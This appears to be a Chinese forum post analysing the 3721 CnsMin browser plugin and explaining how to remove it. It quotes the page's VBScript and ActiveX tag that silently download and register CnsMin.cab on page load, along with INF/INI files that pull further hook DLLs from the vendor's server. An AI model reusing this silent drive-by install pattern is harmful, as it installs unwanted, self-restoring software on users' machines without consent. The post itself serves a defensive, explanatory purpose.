俺也中了他的招,不过俺花了两个多小时才搞定他,这东西真是很霸道。3721这个东西首先
是从他的页面部分运行vbscript脚本,然后悄悄下载一个cnsmin.cab的包,以下是他的页面
中的关键部分的脚本代码
<SCRIPT LANGUAGE="VBScript">
<!--
Function InstallCnsMin()
On error resume next
CnsMin.CheckNew "1.1.3.7"
CnsMin.CheckNewEx "1.0.0.6"
CnsMin.ProcessPage
CnsMin.Register "3721home"
' CnsMin.Enable clng(1)
end Function
-->
</SCRIPT>
</head>
<body bgcolor="#FFFFFF" topmargin="0" leftmargin="0" onload="vbscript:InstallCnsMin">
<object id="CnsMin" classid="clsid:B83FC273-3522-4CC6-92EC-75CC86678DA4"
CODEBASE="http://download.3721.com/download/CnsMin.cab#version=1,1,1,0"
height=0 width=0>
</object>
<script language="JavaScript">
<!--
function MM_openBrWindow(theURL,winName,features) { //v2.0
window.open(theURL,winName,features);
}
//-->
</script>
这段代码实现的功能是下载cnsmin.cab包,并解压执行。
下面我来说说他的文件:
在下载了cnsmin.cab的包以后在 c:/winnt/Downloaded Program Files目录下解压成cnsmin.dll 和cnsmin.inf
cnsmin.inf的内容为:
[version]
signature="$CHICAGO$"
AdvancedINF=2.0
[Add.Code]
CnsMin.dll=CnsMin.dll
[CnsMin.dll]
file-win32-x86=thiscab
clsid={B83FC273-3522-4CC6-92EC-75CC86678DA4}
FileVersion=1,1,1,0
RegisterServer=yes
再下来就比较神啦,用我的一个东东跟踪了一下应用程序模块,惊讶地发现在每个应用程序里都有
一个cnsmin.dll,幸好俺也搞过两天hook,根据文件路径很快找到了他的老窝,可是却看不到相关文件,
回到DOS方式下你就能看到啦,在这个Downloaded Program Files目录下一下子生成了
cnshook.dll
cnsio.dll
CnsMin.dll
CnsMinEx.dll
CnsMinIO.dll
CnsMinSV.dll
CnsMinEx.cab
CnsMinHK.cab
CnsMinIO.cab
CnsMinSV.cab
CnsMinUp.cab
CnsMin.inf
CnsMin.ini
CnsMinEx.ini
还有一个3721的目录其中有cnsMin.dll,cnsmin.inf.
喝,文件还真不少啊,这些个鸟东西可是各有各的用处(可以随意想象一下哦),在CnsMinEx.ini文件中写着
[Add]
CnsMinIO.dll=1.0.1.8
CnsMinSV.dll=1.0.1.1
CnsHook.dll=1.0.0.6
[Remove]
[CnsMinIO.dll]
Url=http://download.3721.com/download/CnsMinIO.cab
[CnsMinSV.dll]
Url=http://download.3721.com/download/CnsMinSV.cab
[CnsHook.dll]
Url=http://download.3721.com/download/CnsMinHK.cab
这下大家该明白了吧。
原理大致如下:
1. 通过他的首页下载CnsMin.cab,执行注册并运行。这个CnsMin.dll是个全局的钩子,负责监控他的各个文件
2. 在完成第一步后,在陆续下载了别的几个cab包,其中CnsMinEx.cab中的CnsMinEx.ini就比较明确地指明了其中几个包的下载地址。
3. 其他几个.dll文件的作用我就不说了(俺也不知道),凑合着观其名,猜其意吧,不过真正起作用的也就是这几个.dll啦。
4. 首先是运行CnsMin.dll,他是通过rundll32.exe 了调用CnsMin.dll中的Rundll32这个函数(不知为什么他要把自己的函数写成和Rundll32.exe同名)
在这个CnsMin.dll中还有其他几个函数,他们完成修改注册表的和其他一些控制,而且在你删除别的文件,和清除注册表后,他会重新恢复。
这就是你为什么总是干不了他的原因。
清除方法:
1. 断开网络连接,为后面的操作做准备。
2. 搜索注册表中含后cnsmin的字节并把他删除掉。
3. 找到他的老窝一举删除他的相关文件。
4. 其中有几个.dll被他做了进程二级跳,通过cnsmin调用。所以把他们重命名。
5. 重起机器,删除掉干才没删除掉的文件就可以啦。
通常在资源管理器中有一个rundll32.exe的进程,他就是用来调用cnsmin.dll的,而cnsmin.dll又调用了其他几个.dll文件
所以只能查到cnsmin.dll,这个进程无法结束,所以在我们进行以上操作时,他的钩子是一直活着的。
在删除操作时,当他发现注册表中他的相关项被更改时,他就会自动连接他的网络服务器重新下载,并
修复你的修改删除动作。所以断开网络连接就是要掐断他的后路。
完成以上工作后,在清查一下注册表,查找一下文件,确定了,在激活网络连接。
好啦,俺的解释可能会很粗糙,不过大家依此法,应该可以搞定的。俺要下线啦,拜,别忘了给俺分啊!:)